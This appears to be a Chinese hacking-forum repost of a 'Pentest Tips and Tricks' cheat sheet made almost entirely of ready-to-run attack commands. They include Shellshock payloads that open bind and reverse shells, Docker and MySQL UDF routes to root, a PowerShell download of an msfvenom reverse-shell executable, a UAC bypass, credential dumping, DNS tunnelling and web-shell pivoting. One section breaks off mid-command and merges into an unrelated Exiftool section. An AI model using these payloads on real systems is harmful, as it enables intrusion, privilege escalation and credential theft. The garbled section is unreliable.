搜索
查看: 507|回复: 0

Pentest Tips and Tricks(二)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-2-19 09:46:09 | 显示全部楼层 |阅读模式
Pentest Handy Tips and Tricks - part 2.

Other PartsTor Nat Traversal

  1. # install to server
  2. $ apt-get install tor torsocks

  3. # bind ssh to tor service port 80
  4. # /etc/tor/torrc
  5. SocksPolicy accept 127.0.0.1
  6. SocksPolicy accept 192.168.0.0/16
  7. Log notice file /var/log/tor/notices.log
  8. RunAsDaemon 1
  9. HiddenServiceDir /var/lib/tor/ssh_hidden_service/
  10. HiddenServicePort 80 127.0.0.1:22
  11. PublishServerDescriptor 0
  12. $ /etc/init.d/tor start
  13. $ cat /var/lib/tor/ssh_hidden_service/hostname
  14. 3l5zstvt1zk5jhl662.onion

  15. # ssh connect from client
  16. $ apt-get install torsocks
  17. $ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
复制代码
DNS brute forcing with fierce
  1. # http://ha.ckers.org/fierce/
  2. $ ./fierce.pl -dns example.com
  3. $ ./fierce.pl –dns example.com –wordlist myWordList.txt
复制代码
Metagoofil metadata gathering tool
  1. # http://www.edge-security.com/metagoofil.php
  2. #automate search engine document retrieval and analysis. It also has the capability to provide MAC
  3. # addresses, username listings, and more
  4. $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
复制代码
A best NMAP scan strategy
  1. # A best nmap scan strategy for networks of all sizes

  2. # Host Discovery - Generate Live Hosts List
  3. $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
  4. $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

  5. # Port Discovery - Most Common Ports
  6. # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
  7. $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
  8. $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
  9. $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

  10. # Port Discovery - Full Port Scans (UDP is very slow)
  11. $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
  12. $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

  13. # Print TCP\UDP Ports
  14. $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
  15. $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

  16. # Detect Service Version
  17. $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

  18. # Operating System Scan
  19. $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

  20. # OS and Service Detect
  21. $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
复制代码
Nmap – Techniques for Avoiding Firewalls
  1. # fragmentation
  2. $ nmap -f

  3. # change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
  4. $ nmap --mtu 24

  5. # Generates a random number of decoys
  6. $ nmap -D RND:10 [target]

  7. # Manually specify the IP addresses of the decoys
  8. $ nmap -D decoy1,decoy2,decoy3 etc.

  9. # Idle Zombie Scan, first t need to find zombie ip
  10. $ nmap -sI [Zombie IP] [Target IP]

  11. # Source port number specification
  12. $ nmap --source-port 80 IP

  13. # Append Random Data to scan packages
  14. $ nmap --data-length 25 IP

  15. # MAC Address Spoofing, generate different mac for host pc
  16. $ nmap --spoof-mac Dell/Apple/3Com IP
复制代码
Exploit servers to Shellshock
  1. # A tool to find and exploit servers vulnerable to Shellshock
  2. # https://github.com/nccgroup/shocker
  3. $ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

  4. # cat file
  5. $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

  6. # bind shell
  7. $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

  8. # reverse Shell
  9. $ nc -l -p 443
  10. $ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
复制代码
Root with Docker
  1. # get root with docker
  2. # user must be in docker group
  3. ek@victum:~/docker-test$ id
  4. uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

  5. ek@victum:~$ mkdir docker-test
  6. ek@victum:~$ cd docker-test

  7. ek@victum:~$ cat > Dockerfile
  8. FROM debian:wheezy

  9. ENV WORKDIR /stuff

  10. RUN mkdir -p $WORKDIR

  11. VOLUME [ $WORKDIR ]

  12. WORKDIR $WORKDIR
  13. << EOF

  14. ek@victum:~$ docker build -t my-docker-image .
  15. ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
  16. 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
  17. ./sh
  18. whoami
  19. # root

  20. ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
复制代码
Tunneling Over DNS to Bypass Firewall
  1. # Tunneling Data and Commands Over DNS to Bypass Firewalls
  2. # dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

  3. # server (attacker)
  4. $ apt-get update
  5. $ apt-get -y install ruby-dev git make g++
  6. $ gem install bundler
  7. $ git clone https://github.com/iagox86/dnscat2.git
  8. $ cd dnscat2/server
  9. $ bundle install
  10. $ ruby ./dnscat2.rb
  11. dnscat2> New session established: 16059
  12. dnscat2> session -i 16059

  13. # client (victum)
  14. # https://downloads.skullsecurity.org/dnscat2/
  15. # https://github.com/lukebaggett/dnscat2-powershell
  16. $ dnscat --host <dnscat server_ip>
复制代码
Compile Assemble code
  1. $ nasm -f elf32 simple32.asm -o simple32.o
  2. $ ld -m elf_i386 simple32.o simple32

  3. $ nasm -f elf64 simple.asm -o simple.o
  4. $ ld simple.o -o simple
复制代码
Pivoting to Internal Network Via Non Interactive Shell
  1. # generate ssh key with shell
  2. $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
  3. $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" "
  4. $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

  5. # add tempuser at attacker ps
  6. $ useradd -m tempuser
  7. $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
  8. $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
  9. $ chmod 700 /home/tempuser/.ssh/authorized_keys
  10. $ chown -R tempuser:tempuser /home/tempuser/.ssh

  11. # create reverse ssh shell
  12. $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
复制代码
Patator is a multi-purpose brute-forcer
  1. # git clone https://github.com/lanjelot/patator.git /usr/share/patator

  2. # SMTP bruteforce
  3. $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
  4. $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
  5. $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
  6. $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
复制代码
Metasploit Web terminal via Gotty
  1. $ service postgresql start
  2. $ msfdb init
  3. $ apt-get install golang
  4. $ mkdir /root/gocode
  5. $ export GOPATH=/root/gocode
  6. $ go get github.com/yudai/gotty
  7. $ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
  8. # open in browser http://127.0.0.1:8080
复制代码
Get full shell with POST RCE
  1. attacker:~$ curl -i -s -k  -X 'POST' --data-binary [b]Exiftool - Read and write meta information in files[/b][code]$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
  2. $ tar xzf Image-ExifTool-10.13.tar.gz
  3. $ cd Image-ExifTool-10.13
  4. $ perl Makefile.PL
  5. $ make
  6. $ ./exiftool main.gif
复制代码
Get SYSTEM with Admin reverse_shell on Win7
  1. msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

  2. #show account settings
  3. net user <login>

  4. # download psexec to kali
  5. https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

  6. # upload psexec.exe file onto the victim machine with powershell script
  7. echo $client = New-Object System.Net.WebClient > script.ps1
  8. echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
  9. echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
  10. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

  11. # upload danger.exe file onto the victim machine with powershell script
  12. echo $client = New-Object System.Net.WebClient > script2.ps1
  13. echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
  14. echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
  15. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

  16. # UAC bypass from precompiled binaries:
  17. https://github.com/hfiref0x/UACME

  18. # upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
  19. echo $client = New-Object System.Net.WebClient > script2.ps1
  20. echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
  21. echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
  22. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

  23. # create listener on kali
  24. nc -lvp 4444

  25. # Use Akagi64 to run the danger.exe file with SYSTEM privileges
  26. Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

  27. # create listener on kali
  28. nc -lvp 4444

  29. # The above step should give us a reverse shell with elevated privileges
  30. # Use PsExec to run the danger.exe file with SYSTEM privileges
  31. psexec.exe –i –d –accepteula –s danger.exe
复制代码
Get SYSTEM with Standard user reverse_shell on Win7
  1. https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
  2. https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
  3. https://www.exploit-db.com/exploits/37049/

  4. # check the list of patches applied on the target machine
  5. # to get the list of Hotfixes installed, type in the following command.
  6. wmic qfe get
  7. wmic qfe | find "3057191"

  8. # Upload compile exploit to victim machine and run it
  9. https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

  10. # by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
  11. # https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

  12. # dump clear text password of the currently logged in user using wce.exe
  13. http://www.ampliasecurity.com/research/windows-credentials-editor/
  14. wce -w

  15. # dump hashes of other users with pwdump7
  16. http://www.heise.de/download/pwdump.html
  17. # we can try online hash cracking tools such crackstation.net
复制代码
Generate our own dic file based on the website content
  1. $ cewl -m 4 -w dict.txt http://site.url
  2. $ john --wordlist=dict.txt --rules --stdout
复制代码
Bruteforce DNS records using Nmap
  1. $ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
  2. $ nmap --script dns-brute www.foo.com
复制代码
Identifying a WAF with Nmap
  1. $ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
  2. $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
  3. $ wafw00f www.example.com
复制代码
MS08-067 - without the use of Metasploit
  1. $ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
  2. $ searchsploit ms08-067
  3. $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
复制代码
Nikto scan with SQUID proxy
  1. $ nikto -useproxy http://squid_ip:3128 -h http://target_ip
复制代码
Hijack a binary’s full path in bash to exec your own code
  1. $ function /usr/bin/foo () { /usr/bin/echo "It works"; }
  2. $ export -f /usr/bin/foo
  3. $ /usr/bin/foo
  4. It works
复制代码
Local privilege escalation through MySQL run with root privileges
  1. # Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
  2. $ wget 0xdeadbeef.info/exploits/raptor_udf2.c
  3. $ gcc -g -c raptor_udf2.c
  4. $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  5. mysql -u root -p
  6. mysql> use mysql;
  7. mysql> create table foo(line blob);
  8. mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
  9. mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
  10. mysql> create function do_system returns integer soname 'raptor_udf2.so';
  11. mysql> select * from mysql.func;
  12. mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

  13. user:~$ su -
  14. Password:
  15. user:~# whoami
  16. root
  17. root:~# id
  18. uid=0(root) gid=0(root) groups=0(root)
复制代码
Bruteforce SSH login with patator
  1. root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'
复制代码
Using LD_PRELOAD to inject features to programs
  1. $ wget https://github.com/jivoi/pentest/ldpreload_shell.c
  2. $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
  3. $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
复制代码
Exploit the OpenSSH User Enumeration Timing Attack
  1. # https://github.com/c0r3dump3d/osueta
  2. $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
  3. $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
复制代码
Create a TCP circuit through validly formed HTTP requests with ReDuh
  1. # https://github.com/sensepost/reDuh

  2. # step 1
  3. # upload reDuh.jsp to victim server
  4. $ http://192.168.10.50/uploads/reDuh.jsp

  5. # step 2
  6. # run reDuhClient on attacker
  7. $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

  8. # step 3
  9. # connecting to management port with nc
  10. $ nc -nvv 127.0.0.1 1010

  11. # step 4
  12. # forward localport to remote port with tunnel
  13. [createTunnel] 7777:172.16.0.4:3389

  14. # step 5
  15. # connect to localhost with rdp
  16. $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表